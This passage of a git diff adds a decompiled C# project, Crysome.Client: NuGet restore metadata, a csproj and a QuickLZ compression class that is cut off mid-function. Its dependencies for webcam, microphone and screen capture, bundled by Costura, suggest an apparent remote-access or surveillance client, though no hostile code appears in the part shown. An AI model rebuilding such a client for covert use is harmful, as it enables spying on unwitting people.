"ref/netcore50/System.Xml.ReaderWriter.xml", + "ref/netcore50/de/System.Xml.ReaderWriter.xml", + "ref/netcore50/es/System.Xml.ReaderWriter.xml", + "ref/netcore50/fr/System.Xml.ReaderWriter.xml", + "ref/netcore50/it/System.Xml.ReaderWriter.xml", + "ref/netcore50/ja/System.Xml.ReaderWriter.xml", + "ref/netcore50/ko/System.Xml.ReaderWriter.xml", + "ref/netcore50/ru/System.Xml.ReaderWriter.xml", + "ref/netcore50/zh-hans/System.Xml.ReaderWriter.xml", + "ref/netcore50/zh-hant/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/System.Xml.ReaderWriter.dll", + "ref/netstandard1.0/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/de/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/es/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/fr/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/it/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/ja/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/ko/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/ru/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/zh-hans/System.Xml.ReaderWriter.xml", + "ref/netstandard1.0/zh-hant/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/System.Xml.ReaderWriter.dll", + "ref/netstandard1.3/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/de/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/es/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/fr/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/it/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/ja/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/ko/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/ru/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/zh-hans/System.Xml.ReaderWriter.xml", + "ref/netstandard1.3/zh-hant/System.Xml.ReaderWriter.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.xml.readerwriter.4.3.0.nupkg.sha512", + "system.xml.readerwriter.nuspec" + ] + }, + "System.Xml.XDocument/4.3.0": { + "sha512": "5zJ0XDxAIg8iy+t4aMnQAu0MqVbqyvfoUVl1yDV61xdo3Vth45oA2FoY4pPkxYAH5f8ixpmTqXeEIya95x0aCQ==", + "type": "package", + "path": "system.xml.xdocument/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Xml.XDocument.dll", + "lib/netstandard1.3/System.Xml.XDocument.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Xml.XDocument.dll", + "ref/netcore50/System.Xml.XDocument.xml", + "ref/netcore50/de/System.Xml.XDocument.xml", + "ref/netcore50/es/System.Xml.XDocument.xml", + "ref/netcore50/fr/System.Xml.XDocument.xml", + "ref/netcore50/it/System.Xml.XDocument.xml", + "ref/netcore50/ja/System.Xml.XDocument.xml", + "ref/netcore50/ko/System.Xml.XDocument.xml", + "ref/netcore50/ru/System.Xml.XDocument.xml", + "ref/netcore50/zh-hans/System.Xml.XDocument.xml", + "ref/netcore50/zh-hant/System.Xml.XDocument.xml", + "ref/netstandard1.0/System.Xml.XDocument.dll", + "ref/netstandard1.0/System.Xml.XDocument.xml", + "ref/netstandard1.0/de/System.Xml.XDocument.xml", + "ref/netstandard1.0/es/System.Xml.XDocument.xml", + "ref/netstandard1.0/fr/System.Xml.XDocument.xml", + "ref/netstandard1.0/it/System.Xml.XDocument.xml", + "ref/netstandard1.0/ja/System.Xml.XDocument.xml", + "ref/netstandard1.0/ko/System.Xml.XDocument.xml", + "ref/netstandard1.0/ru/System.Xml.XDocument.xml", + "ref/netstandard1.0/zh-hans/System.Xml.XDocument.xml", + "ref/netstandard1.0/zh-hant/System.Xml.XDocument.xml", + "ref/netstandard1.3/System.Xml.XDocument.dll", + "ref/netstandard1.3/System.Xml.XDocument.xml", + "ref/netstandard1.3/de/System.Xml.XDocument.xml", + "ref/netstandard1.3/es/System.Xml.XDocument.xml", + "ref/netstandard1.3/fr/System.Xml.XDocument.xml", + "ref/netstandard1.3/it/System.Xml.XDocument.xml", + "ref/netstandard1.3/ja/System.Xml.XDocument.xml", + "ref/netstandard1.3/ko/System.Xml.XDocument.xml", + "ref/netstandard1.3/ru/System.Xml.XDocument.xml", + "ref/netstandard1.3/zh-hans/System.Xml.XDocument.xml", + "ref/netstandard1.3/zh-hant/System.Xml.XDocument.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.xml.xdocument.4.3.0.nupkg.sha512", + "system.xml.xdocument.nuspec" + ] + }, + "Crysome.Common.Client/1.0.0": { + "type": "project", + "path": "../Crysome.Common.Client/Crysome.Common.Client.csproj", + "msbuildProject": "../Crysome.Common.Client/Crysome.Common.Client.csproj" + } + }, + "projectFileDependencyGroups": { + ".NETFramework,Version=v4.7.2": [ + "AForge.Video >= 2.2.5", + "AForge.Video.DirectShow >= 2.2.5", + "Costura.Fody >= 5.7.0", + "Crysome.Common.Client >= 1.0.0", + "Fody >= 6.8.0", + "NAudio >= 2.2.1", + "SharpDX >= 4.2.0", + "SharpDX.DXGI >= 4.2.0", + "SharpDX.Direct3D11 >= 4.2.0", + "System.Data.SQLite >= 1.0.119", + "System.Text.Json >= 8.0.5", + "libjpeg-turbo-native-win >= 2.0.15", + "libjpeg-turbo-net >= 2.0.15" + ] + }, + "packageFolders": { + "C:\\Users\\lukas\\.nuget\\packages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages": {}, + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj", + "projectName": "Crysome.Client", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net472" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "projectReferences": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj" + } + } + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "dependencies": { + "AForge.Video": { + "target": "Package", + "version": "[2.2.5, )" + }, + "AForge.Video.DirectShow": { + "target": "Package", + "version": "[2.2.5, )" + }, + "Costura.Fody": { + "target": "Package", + "version": "[5.7.0, )" + }, + "Fody": { + "include": "Runtime, Build, Native, ContentFiles, Analyzers, BuildTransitive", + "suppressParent": "All", + "target": "Package", + "version": "[6.8.0, )" + }, + "NAudio": { + "target": "Package", + "version": "[2.2.1, )" + }, + "SharpDX": { + "target": "Package", + "version": "[4.2.0, )" + }, + "SharpDX.DXGI": { + "target": "Package", + "version": "[4.2.0, )" + }, + "SharpDX.Direct3D11": { + "target": "Package", + "version": "[4.2.0, )" + }, + "System.Data.SQLite": { + "target": "Package", + "version": "[1.0.119, )" + }, + "System.Text.Json": { + "target": "Package", + "version": "[8.0.5, )" + }, + "libjpeg-turbo-native-win": { + "target": "Package", + "version": "[2.0.15, )" + }, + "libjpeg-turbo-net": { + "target": "Package", + "version": "[2.0.15, )" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102\\RuntimeIdentifierGraph.json" + } + }, + "runtimes": { + "win-x64": { + "#import": [] + } + } + } +} \ No newline at end of file diff --git a/Crysome.Client/obj/project.nuget.cache b/Crysome.Client/obj/project.nuget.cache new file mode 100644 index 0000000..315cef0 --- /dev/null +++ b/Crysome.Client/obj/project.nuget.cache @@ -0,0 +1,90 @@ +{ + "version": 2, + "dgSpecHash": "K/cHy4Y6KOo=", + "success": true, + "projectFilePath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Client\\Crysome.Client.csproj", + "expectedPackageFiles": [ + "C:\\Users\\lukas\\.nuget\\packages\\aforge\\2.2.5\\aforge.2.2.5.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\aforge.video\\2.2.5\\aforge.video.2.2.5.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\aforge.video.directshow\\2.2.5\\aforge.video.directshow.2.2.5.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\costura.fody\\5.7.0\\costura.fody.5.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\entityframework\\6.4.4\\entityframework.6.4.4.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\fody\\6.8.0\\fody.6.8.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\libjpeg-turbo-native-win\\2.0.15\\libjpeg-turbo-native-win.2.0.15.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\libjpeg-turbo-net\\2.0.15\\libjpeg-turbo-net.2.0.15.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.bcl.asyncinterfaces\\8.0.0\\microsoft.bcl.asyncinterfaces.8.0.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.netcore.platforms\\1.1.0\\microsoft.netcore.platforms.1.1.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.win32.primitives\\4.3.0\\microsoft.win32.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.win32.registry\\4.7.0\\microsoft.win32.registry.4.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio\\2.2.1\\naudio.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.asio\\2.2.1\\naudio.asio.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.core\\2.2.1\\naudio.core.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.midi\\2.2.1\\naudio.midi.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.wasapi\\2.2.1\\naudio.wasapi.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.winforms\\2.2.1\\naudio.winforms.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\naudio.winmm\\2.2.1\\naudio.winmm.2.2.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\netstandard.library\\1.6.1\\netstandard.library.1.6.1.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\sharpdx\\4.2.0\\sharpdx.4.2.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\sharpdx.direct3d11\\4.2.0\\sharpdx.direct3d11.4.2.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\sharpdx.dxgi\\4.2.0\\sharpdx.dxgi.4.2.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\stub.system.data.sqlite.core.netframework\\1.0.119\\stub.system.data.sqlite.core.netframework.1.0.119.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.appcontext\\4.3.0\\system.appcontext.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.buffers\\4.6.0\\system.buffers.4.6.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.collections\\4.3.0\\system.collections.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.collections.concurrent\\4.3.0\\system.collections.concurrent.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.console\\4.3.0\\system.console.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.data.sqlite\\1.0.119\\system.data.sqlite.1.0.119.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.data.sqlite.core\\1.0.119\\system.data.sqlite.core.1.0.119.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.data.sqlite.ef6\\1.0.119\\system.data.sqlite.ef6.1.0.119.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.data.sqlite.linq\\1.0.119\\system.data.sqlite.linq.1.0.119.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.debug\\4.3.0\\system.diagnostics.debug.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.diagnosticsource\\4.3.0\\system.diagnostics.diagnosticsource.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.tools\\4.3.0\\system.diagnostics.tools.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.diagnostics.tracing\\4.3.0\\system.diagnostics.tracing.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.globalization\\4.3.0\\system.globalization.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.globalization.calendars\\4.3.0\\system.globalization.calendars.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io\\4.3.0\\system.io.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.compression\\4.3.0\\system.io.compression.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.compression.zipfile\\4.3.0\\system.io.compression.zipfile.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.filesystem\\4.3.0\\system.io.filesystem.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.io.filesystem.primitives\\4.3.0\\system.io.filesystem.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.linq\\4.3.0\\system.linq.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.linq.expressions\\4.3.0\\system.linq.expressions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.memory\\4.6.0\\system.memory.4.6.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.net.http\\4.3.0\\system.net.http.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.net.primitives\\4.3.0\\system.net.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.net.sockets\\4.3.0\\system.net.sockets.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.numerics.vectors\\4.6.0\\system.numerics.vectors.4.6.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.objectmodel\\4.3.0\\system.objectmodel.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection\\4.3.0\\system.reflection.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.extensions\\4.3.0\\system.reflection.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.reflection.primitives\\4.3.0\\system.reflection.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.resources.resourcemanager\\4.3.0\\system.resources.resourcemanager.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime\\4.3.0\\system.runtime.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.compilerservices.unsafe\\6.1.0\\system.runtime.compilerservices.unsafe.6.1.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.extensions\\4.3.0\\system.runtime.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.handles\\4.3.0\\system.runtime.handles.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.interopservices\\4.3.0\\system.runtime.interopservices.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.interopservices.runtimeinformation\\4.3.0\\system.runtime.interopservices.runtimeinformation.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.numerics\\4.3.0\\system.runtime.numerics.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.accesscontrol\\4.7.0\\system.security.accesscontrol.4.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.algorithms\\4.3.0\\system.security.cryptography.algorithms.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.encoding\\4.3.0\\system.security.cryptography.encoding.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.primitives\\4.3.0\\system.security.cryptography.primitives.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.cryptography.x509certificates\\4.3.0\\system.security.cryptography.x509certificates.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.security.principal.windows\\4.7.0\\system.security.principal.windows.4.7.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.encoding\\4.3.0\\system.text.encoding.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.encoding.extensions\\4.3.0\\system.text.encoding.extensions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.encodings.web\\8.0.0\\system.text.encodings.web.8.0.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.json\\8.0.5\\system.text.json.8.0.5.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.regularexpressions\\4.3.0\\system.text.regularexpressions.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading\\4.3.0\\system.threading.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading.tasks\\4.3.0\\system.threading.tasks.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading.tasks.extensions\\4.5.4\\system.threading.tasks.extensions.4.5.4.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading.timer\\4.3.0\\system.threading.timer.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.valuetuple\\4.5.0\\system.valuetuple.4.5.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.xml.readerwriter\\4.3.0\\system.xml.readerwriter.4.3.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.xml.xdocument\\4.3.0\\system.xml.xdocument.4.3.0.nupkg.sha512" + ], + "logs": [] +} \ No newline at end of file diff --git a/Crysome.Client/turbojpeg.dll b/Crysome.Client/turbojpeg.dll new file mode 100644 index 0000000..0074b42 Binary files /dev/null and b/Crysome.Client/turbojpeg.dll differ diff --git a/Crysome.Common.Client/Crysome.Common.Client.csproj b/Crysome.Common.Client/Crysome.Common.Client.csproj new file mode 100644 index 0000000..9503c5f --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Client.csproj @@ -0,0 +1,17 @@ + + + net472 + true + ..\CRYSOME_COMPILED\ + false + false + latest + none + false + + + + + + + diff --git a/Crysome.Common.Client/Crysome.Common.Compression/QuickLZ.cs b/Crysome.Common.Client/Crysome.Common.Compression/QuickLZ.cs new file mode 100644 index 0000000..44248fa --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Compression/QuickLZ.cs @@ -0,0 +1,437 @@ +using System; + +namespace Crysome.Common.Compression; + +public static class QuickLZ +{ + public const int QLZ_VERSION_MAJOR = 1; + + public const int QLZ_VERSION_MINOR = 5; + + public const int QLZ_VERSION_REVISION = 0; + + public const int QLZ_STREAMING_BUFFER = 0; + + public const int QLZ_MEMORY_SAFE = 0; + + private const int HASH_VALUES = 4096; + + private const int MINOFFSET = 2; + + private const int UNCONDITIONAL_MATCHLEN = 6; + + private const int UNCOMPRESSED_END = 4; + + private const int CWORD_LEN = 4; + + private const int DEFAULT_HEADERLEN = 9; + + private const int QLZ_POINTERS_1 = 1; + + private const int QLZ_POINTERS_3 = 16; + + private static int HeaderLen(byte[] source) + { + if ((source[0] & 2) != 2) + { + return 3; + } + return 9; + } + + public static int SizeDecompressed(byte[] source) + { + if (HeaderLen(source) == 9) + { + return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24); + } + return source[2]; + } + + public static int SizeCompressed(byte[] source) + { + if (HeaderLen(source) == 9) + { + return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24); + } + return source[1]; + } + + private static void WriteHeader(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) + { + dst[0] = (byte)(2u | (compressible ? 1u : 0u)); + dst[0] |= (byte)(level << 2); + dst[0] |= 64; + dst[0] |= 0; + FastWrite(dst, 1, size_decompressed, 4); + FastWrite(dst, 5, size_compressed, 4); + } + + public static byte[] Compress(byte[] source, int level) + { + int i = 0; + int num = 13; + uint num2 = 2147483648u; + int i2 = 9; + byte[] array = new byte[source.Length + 400]; + int[] array2 = new int[4096]; + byte[] array3 = new byte[4096]; + int num3 = 0; + int num4 = source.Length - 6 - 4 - 1; + int num5 = 0; + if (level != 1 && level != 3) + { + throw new ArgumentException("C# version only supports level 1 and 3"); + } + int[,] array4 = ((level != 1) ? new int[4096, 16] : new int[4096, 1]); + if (source.Length == 0) + { + return new byte[0]; + } + if (i <= num4) + { + num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16); + } + byte[] array5; + while (i <= num4) + { + if ((num2 & 1) == 1) + { + if (i > source.Length >> 1 && num > i - (i >> 5)) + { + array5 = new byte[source.Length + 9]; + WriteHeader(array5, level, compressible: false, source.Length, source.Length + 9); + Array.Copy(source, 0, array5, 9, source.Length); + return array5; + } + FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4); + i2 = num; + num += 4; + num2 = 2147483648u; + } + if (level == 1) + { + int num6 = ((num3 >> 12) ^ num3) & 0xFFF; + int num7 = array4[num6, 0]; + int num8 = array2[num6] ^ num3; + array2[num6] = num3; + array4[num6, 0] = i; + if (num8 == 0 && array3[num6] != 0 && (i - num7 > 2 || (i == num7 + 1 && num5 >= 3 && i > 3 && source[i] == source[i - 3] && source[i] == source[i - 2] && source[i] == source[i - 1] && source[i] == source[i + 1] && source[i] == source[i + 2]))) + { + num2 = (num2 >> 1) | 0x80000000u; + if (source[num7 + 3] != source[i + 3]) + { + int num9 = 1 | (num6 << 4); + array[num] = (byte)num9; + array[num + 1] = (byte)(num9 >> 8); + i += 3; + num += 2; + } + else + { + int num10 = i; + int num11 = ((source.Length - 4 - i + 1 - 1 > 255) ? 255 : (source.Length - 4 - i + 1 - 1)); + i += 4; + if (source[num7 + i - num10] == source[i]) + { + i++; + if (source[num7 + i - num10] == source[i]) + { + for (i++; source[num7 + (i - num10)] == source[i] && i - num10 < num11; i++) + { + } + } + } + int num12 = i - num10; + num6 <<= 4; + if (num12 < 18) + { + int num13 = num6 | (num12 - 2); + array[num] = (byte)num13; + array[num + 1] = (byte)(num13 >> 8); + num += 2; + } + else + { + FastWrite(array, num, num6 | (num12 << 16), 3); + num += 3; + } + } + num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16); + num5 = 0; + } + else + { + num5++; + array3[num6] = 1; + array[num] = source[i]; + num2 >>= 1; + i++; + num++; + num3 = ((num3 >> 8) & 0xFFFF) | (source[i + 2] << 16); + } + continue; + } + num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16); + int num14 = ((source.Length - 4 - i + 1 - 1 > 255) ? 255 : (source.Length - 4 - i + 1 - 1)); + int num15 = ((num3 >> 12) ^ num3) & 0xFFF; + byte b = array3[num15]; + int num16 = 0; + int num17 = 0; + int num18; + for (int j = 0; j < 16 && b > j; j++) + { + num18 = array4[num15, j]; + if ((byte)num3 == source[num18] && (byte)(num3 >> 8) == source[num18 + 1] && (byte)(num3 >> 16) == source[num18 + 2] && num18 < i - 2) + { + int k; + for (k = 3; source[num18 + k] == source[i + k] && k < num14; k++) + { + } + if (k > num16 || (k == num16 && num18 > num17)) + { + num17 = num18; + num16 = k; + } + } + } + num18 = num17; + array4[num15, b & 0xF] = i; + b++; + array3[num15] = b; + if (num16 >= 3 && i - num18 < 131071) + { + int num19 = i - num18; + for (int l = 1; l < num16; l++) + { + num3 = source[i + l] | (source[i + l + 1] << 8) | (source[i + l + 2] << 16); + num15 = ((num3 >> 12) ^ num3) & 0xFFF; + array4[num15, array3[num15]++ & 0xF] = i + l; + } + i += num16; + num2 = (num2 >> 1) | 0x80000000u; + if (num16 == 3 && num19 <= 63) + { + FastWrite(array, num, num19 << 2, 1); + num++; + } + else if (num16 == 3 && num19 <= 16383) + { + FastWrite(array, num, (num19 << 2) | 1, 2); + num += 2; + } + else if (num16 <= 18 && num19 <= 1023) + { + FastWrite(array, num, (num16 - 3 << 2) | (num19 << 6) | 2, 2); + num += 2; + } + else if (num16 <= 33) + { + FastWrite(array, num, (num16 - 2 << 2) | (num19 << 7) | 3, 3); + num += 3; + } + else + { + FastWrite(array, num, (num16 - 3 << 7) | (num19 << 15) | 3, 4); + num += 4; + } + num5 = 0; + } + else + { + array[num] = source[i]; + num2 >>= 1; + i++; + num++; + } + } + while (i <= source.Length - 1) + { + if ((num2 & 1) == 1) + { + FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4); + i2 = num; + num += 4; + num2 = 2147483648u; + } + array[num] = source[i]; + i++; + num++; + num2 >>= 1; + } + while ((num2 & 1) != 1) + { + num2 >>= 1; + } + FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4); + WriteHeader(array, level, compressible: true, source.Length, num); + array5 = new byte[num]; + Array.Copy(array, array5, num); + return array5; + } + + private static void FastWrite(byte[] a, int i, int value, int numbytes) + { + for (int j = 0; j < numbytes; j++) + { + a[i + j] = (byte)(value >> j * 8); + } + } + + public static byte[] Decompress(byte[] source) + { + int num = SizeDecompressed(source); + int num2 = HeaderLen(source); + int num3 = 0; + uint num4 = 1u; + byte[] array = new byte[num]; + int[] array2 = new int[4096]; + byte[] array3 = new byte[4096]; + int num5 = num - 6 - 4 - 1; + int num6 = -1; + uint num7 = 0u; + int num8 = (source[0] >> 2) & 3; + if (num8 != 1 && num8 != 3) + { + throw new ArgumentException("C# version only supports level 1 and 3"); + } + if ((source[0] & 1) != 1) + { + byte[] array4 = new byte[num]; + Array.Copy(source, HeaderLen(source), array4, 0, num); + return array4; + } + while (true) + { + if (num4 == 1) + { + num4 = (uint)(source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)); + num2 += 4; + if (num3 <= num5) + { + num7 = (uint)((num8 != 1) ? (source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16) | (source[num2 + 3] << 24)) : (source[num2] | (source[num2 + 1] << 8) | (source[num2 + 2] << 16))); + } + } + if ((num4 & 1) == 1) + { + num4 >>= 1; + uint num10; + uint num11; + if (num8 == 1) + { + int num9 = ((int)num7 >> 4) & 0xFFF; + num10 = (uint)array2[num9]; + if ((num7 & 0xF) != 0) + { + num11 = (num7 & 0xF) + 2; + num2 